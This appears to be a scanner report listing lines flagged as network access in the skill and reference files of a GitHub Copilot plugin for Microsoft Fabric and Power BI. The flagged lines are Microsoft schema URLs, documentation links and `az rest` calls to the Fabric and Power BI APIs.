"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json", - Network accessline 46
Refer to [JSON Schema](https://github.com/microsoft/json-schemas/blob/main/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json) for more details. - Network accessline 57
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json", - Network accessline 58
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json", - Network accessline 71
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json", - Network accessline 72
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json", - Network accessline 86
Refer to [JSON Schema](https://github.com/microsoft/json-schemas/blob/main/fabric/item/report/definitionProperties/2.0.0/schema.json) for more details. - Network accessline 95
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/pbip/pbipProperties/1.0.0/schema.json", - Network accessline 96
"$schema": "https://developer.microsoft.com/json-schemas/fabric/pbip/pbipProperties/1.0.0/schema.json", - Network accessline 111
Refer to [JSON Schema](https://github.com/microsoft/json-schemas/blob/main/fabric/pbip/pbipProperties/1.0.0/schema.json) for more details. - Network accessline 117
- [PBIP docs](https://learn.microsoft.com/en-us/power-bi/developer/projects/projects-overview) - Network accessline 118
- [PBIP SemanticModel folder](https://learn.microsoft.com/en-us/power-bi/developer/projects/projects-dataset) - Network accessline 119
- [PBIP Report folder](https://learn.microsoft.com/en-us/power-bi/developer/projects/projects-report)
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/semantic-model-ai-readiness.md
- Network accessline 33
**Important:** When incapable of editing any metadata, refer the user to [copilot-prepare-data-ai](https://learn.microsoft.com/power-bi/create-reports/copilot-prepare-data-ai) documentation. - Network accessline 140
> **Editing path:** Don't edit verified answers automatically. Instead suggest good candidates for verified answers and ask the user to configure manually in the tool. See [copilot-prepare-data-ai](https://learn.microsoft.com/power-bi/creat
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/semantic-model-rest-api.md
- Network accessline 8
API_FABRIC="https://api.fabric.microsoft.com/v1" - Network accessline 9
API_PBI="https://api.powerbi.com/v1.0/myorg" - Network accessline 10
RESOURCE_PBI="https://analysis.windows.net/powerbi/api" - Network accessline 11
RESOURCE_FABRIC="https://api.fabric.microsoft.com" - Network accessline 22
| API | Audience (`--resource`) | Use For | | --------------------- | ------------------------------------------ | ------------------- - Network accessline 23
| --------------------- | ------------------------------------------ | ---------------------------------------------------------------------------- | | Fabric Items API | `https://api.fabric.microsoft.com` | Create/get/update/d - Network accessline 24
| Fabric Items API | `https://api.fabric.microsoft.com` | Create/get/update/delete semantic model definitions, list items, LRO polling | - Network accessline 25
| Power BI Datasets API | `https://analysis.windows.net/powerbi/api` | Refresh, data sources, parameters, permissions, operational properties | - Network accessline 78
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json", - Network accessline 79
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json", - Network accessline 147
# 1. Request definition - may return 200 (inline) or 202 (LRO) RESPONSE=$(az rest --method post --verbose \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 148
RESPONSE=$(az rest --method post --verbose --resource "https://api.fabric.microsoft.com" - Network accessline 149
--resource "https://api.fabric.microsoft.com" \ - Network accessline 185
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 186
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 187
--resource "https://api.fabric.microsoft.com" \
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/tmdl-guidelines.md
- Network accessline 124
expression DL_Lakehouse = let Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/<WorkspaceId>/<LakehouseId>", [HierarchicalNavigation=true]) - Network accessline 125
let Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/<WorkspaceId>/<LakehouseId>", [HierarchicalNavigation=true]) in - Network accessline 126
Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/<WorkspaceId>/<LakehouseId>", [HierarchicalNavigation=true])
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/search-consumption-cli/SKILL.md
- Network accessline 73
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 74
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 75
--resource "https://api.fabric.microsoft.com" \ - Network accessline 76
--url "https://api.fabric.microsoft.com/v1/catalog/search" \ - Network accessline 85
az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 86
--resource "https://api.fabric.microsoft.com" \ - Network accessline 87
--url "https://api.fabric.microsoft.com/v1/catalog/search" \ - Network accessline 103
For the full list of supported item types, see the [Catalog Search API reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/catalog/search). - Network accessline 114
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 115
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 116
--resource "https://api.fabric.microsoft.com" \ - Network accessline 117
--url "https://api.fabric.microsoft.com/v1/catalog/search" \ - Network accessline 130
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 131
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 132
--resource "https://api.fabric.microsoft.com" \ - Network accessline 133
--url "https://api.fabric.microsoft.com/v1/catalog/search" \ - Network accessline 156
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 157
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 158
--resource "https://api.fabric.microsoft.com" \ - Network accessline 159
--url "https://api.fabric.microsoft.com/v1/catalog/search" \ - Network accessline 169
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 170
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 171
--resource "https://api.fabric.microsoft.com" \ - Network accessline 172
--url "https://api.fabric.microsoft.com/v1/catalog/search" \ - Network accessline 180
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 181
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 182
--resource "https://api.fabric.microsoft.com" \ - Network accessline 183
--url "https://api.fabric.microsoft.com/v1/catalog/search" \ - Network accessline 193
| Symptom | Cause | Fix | |---|---|---| | `401 Unauthorized` | Wrong token audience or expired session | Verify `--resource "https://api.fabric.microsoft.com"`. Run `az login`. | - Network accessline 194
|---|---|---| | `401 Unauthorized` | Wrong token audience or expired session | Verify `--resource "https://api.fabric.microsoft.com"`. Run `az login`. | | `InvalidPageSize` | `pageSize` outside 1–1000 | Use a value between 1 and 1000. | - Network accessline 195
| `401 Unauthorized` | Wrong token audience or expired session | Verify `--resource "https://api.fabric.microsoft.com"`. Run `az login`. | - Network accessline 196
| `InvalidPageSize` | `pageSize` outside 1–1000 | Use a value between 1 and 1000. | | `InvalidFilter` | Bad filter syntax | Only `eq`, `ne`, `or`, and parentheses. Don't mix `eq` with `and`, or `ne` with `or`. Don't mix `eq` and `ne` in the - Network accessline 197
| `InvalidFilter` | Bad filter syntax | Only `eq`, `ne`, `or`, and parentheses. Don't mix `eq` with `and`, or `ne` with `or`. Don't mix `eq` and `ne` in the same filter. | | `TypeNotFound` | Unrecognized item type in filter | Check spelling - Network accessline 198
| `TypeNotFound` | Unrecognized item type in filter | Check spelling (case-sensitive). See [API reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/catalog/search) for valid types. |
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/semantic-model-authoring/SKILL.md
- Network accessline 397
SERVER="sql-prod" CONN_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 397
SERVER="sql-prod" CONN_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 398
CONN_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 398
CONN_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 399
--url "https://api.fabric.microsoft.com/v1/connections" \ - Network accessline 399
--url "https://api.fabric.microsoft.com/v1/connections" \
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/semantic-model-authoring/references/connection-binding.md
- Network accessline 5
This API supersedes the legacy Power BI [Bind to Gateway in Group](https://learn.microsoft.com/rest/api/power-bi/datasets/bind-to-gateway-in-group). It supports gateway, cloud, virtual network, automatic, and unbind (`None`) connectivity ty - Network accessline 7
> **Reference docs** > - [Bind Semantic Model Connection](https://learn.microsoft.com/rest/api/fabric/semanticmodel/items/bind-semantic-model-connection) - Network accessline 8
> - [Bind Semantic Model Connection](https://learn.microsoft.com/rest/api/fabric/semanticmodel/items/bind-semantic-model-connection) - Network accessline 9
> - [List Item Connections](https://learn.microsoft.com/rest/api/fabric/core/items/list-item-connections) - Network accessline 10
> - [List Connections](https://learn.microsoft.com/rest/api/fabric/core/connections/list-connections) - Network accessline 11
> - [Create Connection](https://learn.microsoft.com/rest/api/fabric/core/connections/create-connection) - Network accessline 18
- Delegated scope: `SemanticModel.ReadWrite.All` or `Item.ReadWrite.All`. - Identities: User, Service Principal, Managed Identity. - Fabric audience for `az rest`: `https://api.fabric.microsoft.com`. - Network accessline 20
- Fabric audience for `az rest`: `https://api.fabric.microsoft.com`. - Network accessline 31
POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/semanticModels/{semanticModelId}/bindConnection - Network accessline 87
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 88
--resource "https://api.fabric.microsoft.com" \ - Network accessline 89
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$MODEL_ID/connections" - Network accessline 97
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 98
--resource "https://api.fabric.microsoft.com" \ - Network accessline 99
--url "https://api.fabric.microsoft.com/v1/connections" - Network accessline 106
If no matching connection exists, create one with [Create Connection](https://learn.microsoft.com/rest/api/fabric/core/connections/create-connection) before continuing. - Network accessline 130
az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 131
--resource "https://api.fabric.microsoft.com" \ - Network accessline 132
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/semanticModels/$MODEL_ID/bindConnection" \ - Network accessline 185
- Submit **one request per data source reference**. The API rejects bulk payloads. - Use the **exact** `connectionDetails.type` and `connectionDetails.path` from `List Item Connections` - do not reformat, lowercase, or otherwise normalize t - Network accessline 186
- Use the **exact** `connectionDetails.type` and `connectionDetails.path` from `List Item Connections` - do not reformat, lowercase, or otherwise normalize them. - Authenticate against the Fabric audience (`https://api.fabric.microsoft.com` - Network accessline 187
- Authenticate against the Fabric audience (`https://api.fabric.microsoft.com`), not the Power BI audience.
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/semantic-model-authoring/references/dax-perf-decision-guide.md
- Network accessline 382
- [Analysis Services trace events](https://learn.microsoft.com/analysis-services/trace-events/analysis-services-trace-events) - Network accessline 383
- [Horizontal fusion in Power BI and Analysis Services](https://powerbi.microsoft.com/en-us/blog/announcing-horizontal-fusion-a-query-performance-optimization-in-power-bi-and-analysis-services/) - Network accessline 384
- [Understand Direct Lake query performance](https://learn.microsoft.com/fabric/fundamentals/direct-lake-understand-storage)
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/semantic-model-authoring/references/dax-perf-patterns.md
- Network accessline 804
Two approaches: - **Spark:** `spark.conf.set("spark.sql.parquet.vorder.default", "true")`, then run `OPTIMIZE` for existing Delta tables. - **Fabric resource profile:** Use the [`readHeavyForPBI` resource profile](https://learn.microsoft.co - Network accessline 806
- **Fabric resource profile:** Use the [`readHeavyForPBI` resource profile](https://learn.microsoft.com/en-us/fabric/data-engineering/configure-resource-profile-configurations), which enables V-Order-oriented write settings for Power BI rea
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/semantic-model-authoring/references/direct-lake-guidelines.md
- Network accessline 34
let Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true]) - Network accessline 35
Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true]) - Network accessline 44
expression 'DL_Sales_Named_Expression' = let Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true]) - Network accessline 45
let Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true]) in - Network accessline 46
Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true])
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/semantic-model-authoring/references/metadata-discovery.md
- Network accessline 182
- **Issue:** `INFO.ROLEMEMBERSHIPS()` returns empty or incomplete results. - **Cause:** Role members are assigned at the service level (Entra ID) after deployment, not in the model definition — so DAX `INFO` functions cannot reliably surf - Network accessline 184
- **Fix:** Redirect to [Manage role membership documentation](https://learn.microsoft.com/en-us/fabric/security/service-admin-row-level-security#manage-role-membership) for current guidance on role membership management.
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/semantic-model-authoring/references/pbip.md
- Network accessline 38
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json", - Network accessline 39
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json", - Network accessline 46
Refer to [JSON Schema](https://github.com/microsoft/json-schemas/blob/main/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json) for more details. - Network accessline 57
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json", - Network accessline 58
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json", - Network accessline 71
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json", - Network accessline 72
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json", - Network accessline 86
Refer to [JSON Schema](https://github.com/microsoft/json-schemas/blob/main/fabric/item/report/definitionProperties/2.0.0/schema.json) for more details. - Network accessline 95
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/pbip/pbipProperties/1.0.0/schema.json", - Network accessline 96
"$schema": "https://developer.microsoft.com/json-schemas/fabric/pbip/pbipProperties/1.0.0/schema.json", - Network accessline 111
Refer to [JSON Schema](https://github.com/microsoft/json-schemas/blob/main/fabric/pbip/pbipProperties/1.0.0/schema.json) for more details. - Network accessline 117
- [PBIP docs](https://learn.microsoft.com/en-us/power-bi/developer/projects/projects-overview) - Network accessline 118
- [PBIP SemanticModel folder](https://learn.microsoft.com/en-us/power-bi/developer/projects/projects-dataset) - Network accessline 119
- [PBIP Report folder](https://learn.microsoft.com/en-us/power-bi/developer/projects/projects-report)
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/semantic-model-authoring/references/semantic-model-ai-readiness.md
- Network accessline 33
**Important:** When incapable of editing any metadata, refer the user to [copilot-prepare-data-ai](https://learn.microsoft.com/power-bi/create-reports/copilot-prepare-data-ai) documentation. - Network accessline 140
> **Editing path:** Don't edit verified answers automatically. Instead suggest good candidates for verified answers and ask the user to configure manually in the tool. See [copilot-prepare-data-ai](https://learn.microsoft.com/power-bi/creat
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/semantic-model-authoring/references/semantic-model-rest-api.md
- Network accessline 8
API_FABRIC="https://api.fabric.microsoft.com/v1" - Network accessline 9
API_PBI="https://api.powerbi.com/v1.0/myorg" - Network accessline 10
RESOURCE_PBI="https://analysis.windows.net/powerbi/api" - Network accessline 11
RESOURCE_FABRIC="https://api.fabric.microsoft.com" - Network accessline 22
| API | Audience (`--resource`) | Use For | | --------------------- | ------------------------------------------ | ------------------- - Network accessline 23
| --------------------- | ------------------------------------------ | ---------------------------------------------------------------------------- | | Fabric Items API | `https://api.fabric.microsoft.com` | Create/get/update/d - Network accessline 24
| Fabric Items API | `https://api.fabric.microsoft.com` | Create/get/update/delete semantic model definitions, list items, LRO polling | - Network accessline 25
| Power BI Datasets API | `https://analysis.windows.net/powerbi/api` | Refresh, data sources, parameters, permissions, operational properties | - Network accessline 78
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json", - Network accessline 79
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json", - Network accessline 147
# 1. Request definition - may return 200 (inline) or 202 (LRO) RESPONSE=$(az rest --method post --verbose \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 148
RESPONSE=$(az rest --method post --verbose --resource "https://api.fabric.microsoft.com" - Network accessline 149
--resource "https://api.fabric.microsoft.com" \ - Network accessline 185
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 186
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 187
--resource "https://api.fabric.microsoft.com" \
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/semantic-model-authoring/references/tmdl-guidelines.md
- Network accessline 124
expression DL_Lakehouse = let Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/<WorkspaceId>/<LakehouseId>", [HierarchicalNavigation=true]) - Network accessline 125
let Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/<WorkspaceId>/<LakehouseId>", [HierarchicalNavigation=true]) in - Network accessline 126
Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/<WorkspaceId>/<LakehouseId>", [HierarchicalNavigation=true])
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/authoring.md
- Network accessline 43
| Tool Selection Rationale | [COMMON-CLI.md § Tool Selection Rationale](../../../common/COMMON-CLI.md#tool-selection-rationale) || | Authentication Recipes | [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authenticat - Network accessline 44
| Authentication Recipes | [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) | `az login` flows and token acquisition | | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control- - Network accessline 45
| Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Plane API via az rest](../../../common/COMMON-CLI.md#fabric-control-plane-api-via-az-rest) | **Always pass `--resource https://api.fabric.microsoft.com`** or `az res - Network accessline 218
{"displayName": "DataEng-Dev"} EOF workspace_id=$(az rest --method post --resource "https://api.fabric.microsoft.com" \ - Network accessline 219
EOF workspace_id=$(az rest --method post --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 220
workspace_id=$(az rest --method post --resource "https://api.fabric.microsoft.com" \ - Network accessline 221
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 225
{"displayName": "DevLakehouse", "type": "Lakehouse", "creationPayload": {"enableSchemas": true}} EOF lakehouse_id=$(az rest --method post --resource "https://api.fabric.microsoft.com" \ - Network accessline 226
EOF lakehouse_id=$(az rest --method post --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/workspaces/$workspace_id/items" \ - Network accessline 227
lakehouse_id=$(az rest --method post --resource "https://api.fabric.microsoft.com" \ - Network accessline 228
--url "https://api.fabric.microsoft.com/v1/workspaces/$workspace_id/items" \ - Network accessline 313
{"name": "dev-session", "driverMemory": "56g", "driverCores": 8, "executorMemory": "56g", "executorCores": 8, "conf": {"spark.dynamicAllocation.enabled": "true", "spark.fabric.pool.name": "Starter Pool"}} EOF az rest --method post --resourc - Network accessline 314
EOF az rest --method post --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/workspaces/$workspace_id/lakehouses/$lakehouse_id/livyapi/versions/2023-12-01/sessions" \ - Network accessline 315
az rest --method post --resource "https://api.fabric.microsoft.com" \ - Network accessline 316
--url "https://api.fabric.microsoft.com/v1/workspaces/$workspace_id/lakehouses/$lakehouse_id/livyapi/versions/2023-12-01/sessions" \
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/authoring/resources/data-engineering-patterns.md
- Network accessline 365
> **⚠<U+FE0F> Public Preview**: [Fabric Runtime 2.0](https://learn.microsoft.com/en-us/fabric/data-engineering/runtime-2-0) (Spark 4.1, Delta Lake 4.x) is in **Public Preview**. Delta Lake 4.x features are experimental and should **not** be enable - Network accessline 365
> **⚠<U+FE0F> Public Preview**: [Fabric Runtime 2.0](https://learn.microsoft.com/en-us/fabric/data-engineering/runtime-2-0) (Spark 4.1, Delta Lake 4.x) is in **Public Preview**. Delta Lake 4.x features are experimental and should **not** be enable - Network accessline 367
**Native Execution Engine (NEE):** Significant performance improvement over open-source Spark via vectorized C++ execution. See [NEE documentation](https://learn.microsoft.com/en-us/fabric/data-engineering/native-execution-engine-overview) - Network accessline 367
**Native Execution Engine (NEE):** Significant performance improvement over open-source Spark via vectorized C++ execution. See [NEE documentation](https://learn.microsoft.com/en-us/fabric/data-engineering/native-execution-engine-overview) - Network accessline 368
Significant performance improvement over open-source Spark via vectorized C++ execution. See [NEE documentation](https://learn.microsoft.com/en-us/fabric/data-engineering/native-execution-engine-overview) for current benchmarks. - Network accessline 368
Significant performance improvement over open-source Spark via vectorized C++ execution. See [NEE documentation](https://learn.microsoft.com/en-us/fabric/data-engineering/native-execution-engine-overview) for current benchmarks. - Network accessline 392
**Efficient Scaledown (Remote Shuffle Manager):** Decouples shuffle data from executor lifetime for improved compute efficiency. Requires NEE enabled (set at session start, above). Set the full stack at session start via `%%configure` so it - Network accessline 392
**Efficient Scaledown (Remote Shuffle Manager):** Decouples shuffle data from executor lifetime for improved compute efficiency. Requires NEE enabled (set at session start, above). Set the full stack at session start via `%%configure` so it - Network accessline 393
Decouples shuffle data from executor lifetime for improved compute efficiency. Requires NEE enabled (set at session start, above). Set the full stack at session start via `%%configure` so it applies before Spark initializes. See [RSM docume - Network accessline 393
Decouples shuffle data from executor lifetime for improved compute efficiency. Requires NEE enabled (set at session start, above). Set the full stack at session start via `%%configure` so it applies before Spark initializes. See [RSM docume - Network accessline 430
See [Liquid clustering — Configuration reference](https://learn.microsoft.com/fabric/data-engineering/liquid-clustering#configuration-reference) - Network accessline 430
See [Liquid clustering — Configuration reference](https://learn.microsoft.com/fabric/data-engineering/liquid-clustering#configuration-reference)
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/authoring/resources/development-workflow.md
- Network accessline 64
| Topic | Fetch URL | Keywords | |---|---|---| | %%configure magic command | https://learn.microsoft.com/en-us/fabric/data-engineering/author-execute-notebook#spark-session-configuration-magic-command | `%%configure`, `driverMemory`, `execu - Network accessline 65
|---|---|---| | %%configure magic command | https://learn.microsoft.com/en-us/fabric/data-engineering/author-execute-notebook#spark-session-configuration-magic-command | `%%configure`, `driverMemory`, `executorMemory`, `driverCores`, `execu - Network accessline 66
| %%configure magic command | https://learn.microsoft.com/en-us/fabric/data-engineering/author-execute-notebook#spark-session-configuration-magic-command | `%%configure`, `driverMemory`, `executorMemory`, `driverCores`, `executorCores`, `nu - Network accessline 67
| Parameterized %%configure from pipeline | https://learn.microsoft.com/en-us/fabric/data-engineering/author-execute-notebook#parameterized-session-configuration-from-a-pipeline | `parameterName`, `defaultValue`, pipeline notebook activity, - Network accessline 68
| Spark compute (pools, node sizes, autoscale) | https://learn.microsoft.com/en-us/fabric/data-engineering/spark-compute | starter pool, custom Spark pool, node size (Small/Medium/Large/XL/XXL), vCores, autoscale, dynamic allocation, capaci
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/authoring/resources/materialized-lake-view-patterns.md
- Network accessline 324
> See the [Spark SQL Reference](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/create-materialized-lake-view) for the complete and current list of limitations. - Network accessline 324
> See the [Spark SQL Reference](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/create-materialized-lake-view) for the complete and current list of limitations. - Network accessline 343
> See the [PySpark Reference](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/create-materialized-lake-view-pyspark) for notebook organization best practices and current limitations. - Network accessline 343
> See the [PySpark Reference](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/create-materialized-lake-view-pyspark) for notebook organization best practices and current limitations. - Network accessline 354
> instead of orchestrating refresh from notebooks: > > - **[Lineage](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/view-lineage)** — - Network accessline 354
> instead of orchestrating refresh from notebooks: > > - **[Lineage](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/view-lineage)** — - Network accessline 355
> > - **[Lineage](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/view-lineage)** — > Fabric derives dependency order from MLV definitions automatically. - Network accessline 355
> > - **[Lineage](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/view-lineage)** — > Fabric derives dependency order from MLV definitions automatically. - Network accessline 356
> - **[Lineage](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/view-lineage)** — - Network accessline 356
> - **[Lineage](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/view-lineage)** — - Network accessline 358
> Open the Materialized lake views tab → Manage to view the graph and > follow a run in progress. > - **[Scheduled refresh](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/schedule-lineage-run)** — - Network accessline 358
> Open the Materialized lake views tab → Manage to view the graph and > follow a run in progress. > - **[Scheduled refresh](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/schedule-lineage-run)** — - Network accessline 359
> follow a run in progress. > - **[Scheduled refresh](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/schedule-lineage-run)** — > Create one or more schedules to refresh all MLVs or a selected subset. - Network accessline 359
> follow a run in progress. > - **[Scheduled refresh](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/schedule-lineage-run)** — > Create one or more schedules to refresh all MLVs or a selected subset. - Network accessline 360
> - **[Scheduled refresh](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/schedule-lineage-run)** — - Network accessline 360
> - **[Scheduled refresh](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/schedule-lineage-run)** — - Network accessline 371
- Repeat cadence: minute, hourly, daily, weekly, or monthly - **Optimal refresh** toggle (default On): Fabric automatically picks incremental or full refresh per view - **Extended lineage**: refresh chains across multiple lakehouses in depe - Network accessline 371
- Repeat cadence: minute, hourly, daily, weekly, or monthly - **Optimal refresh** toggle (default On): Fabric automatically picks incremental or full refresh per view - **Extended lineage**: refresh chains across multiple lakehouses in depe - Network accessline 373
- **Extended lineage**: refresh chains across multiple lakehouses in dependency order from a single schedule. When MLVs in Lakehouse B depend on tables in Lakehouse A, a single schedule on Lakehouse B refreshes Lakehouse A's MLVs first, the - Network accessline 373
- **Extended lineage**: refresh chains across multiple lakehouses in dependency order from a single schedule. When MLVs in Lakehouse B depend on tables in Lakehouse A, a single schedule on Lakehouse B refreshes Lakehouse A's MLVs first, the - Network accessline 375
Key behaviors (per current Fabric documentation — confirm against the [refresh reference](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/refresh-materialized-lake-view) as platform limits may change): - Network accessline 375
Key behaviors (per current Fabric documentation — confirm against the [refresh reference](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/refresh-materialized-lake-view) as platform limits may change): - Network accessline 379
For programmatic schedule management (create/update/delete schedules, trigger on-demand refresh via code), use the [MLV Public REST API](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/materialized-lake-vie - Network accessline 379
For programmatic schedule management (create/update/delete schedules, trigger on-demand refresh via code), use the [MLV Public REST API](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/materialized-lake-vie - Network accessline 451
| Topic | URL | Keywords | |---|---|---| | MLV overview | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/overview-materialized-lake-view | overview, capabilities, when to use, limitations | - Network accessline 451
| Topic | URL | Keywords | |---|---|---| | MLV overview | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/overview-materialized-lake-view | overview, capabilities, when to use, limitations | - Network accessline 452
|---|---|---| | MLV overview | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/overview-materialized-lake-view | overview, capabilities, when to use, limitations | | Get started | https://learn.microsoft.co - Network accessline 452
|---|---|---| | MLV overview | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/overview-materialized-lake-view | overview, capabilities, when to use, limitations | | Get started | https://learn.microsoft.co - Network accessline 453
